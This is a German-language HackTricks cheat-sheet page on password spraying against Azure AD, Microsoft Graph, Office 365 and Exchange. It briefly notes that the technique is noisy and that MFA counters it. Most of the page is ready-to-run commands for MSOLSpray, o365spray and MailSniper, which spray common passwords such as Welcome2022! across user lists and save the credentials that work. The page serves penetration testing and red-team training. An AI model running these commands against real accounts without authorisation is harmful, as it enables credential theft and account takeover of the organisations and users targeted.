Az - Password Spraying

Support HackTricks

Passwort-Spray

In Azure kann dies gegen verschiedene API-Endpunkte wie Azure AD Graph, Microsoft Graph, Office 365 Reporting-Webdienst usw. durchgeführt werden.

Beachten Sie jedoch, dass diese Technik sehr laut ist und das Blue Team sie leicht auffangen kann. Darüber hinaus kann erzwungene Passwortkomplexität und die Verwendung von MFA diese Technik weitgehend nutzlos machen.

Sie können einen Passwort-Spray-Angriff mit MSOLSpray durchführen.

. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose

Oder mit o365spray

python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com

Oder mit MailSniper

#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt
#Gmail
Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
Unterstütze HackTricks

Last updated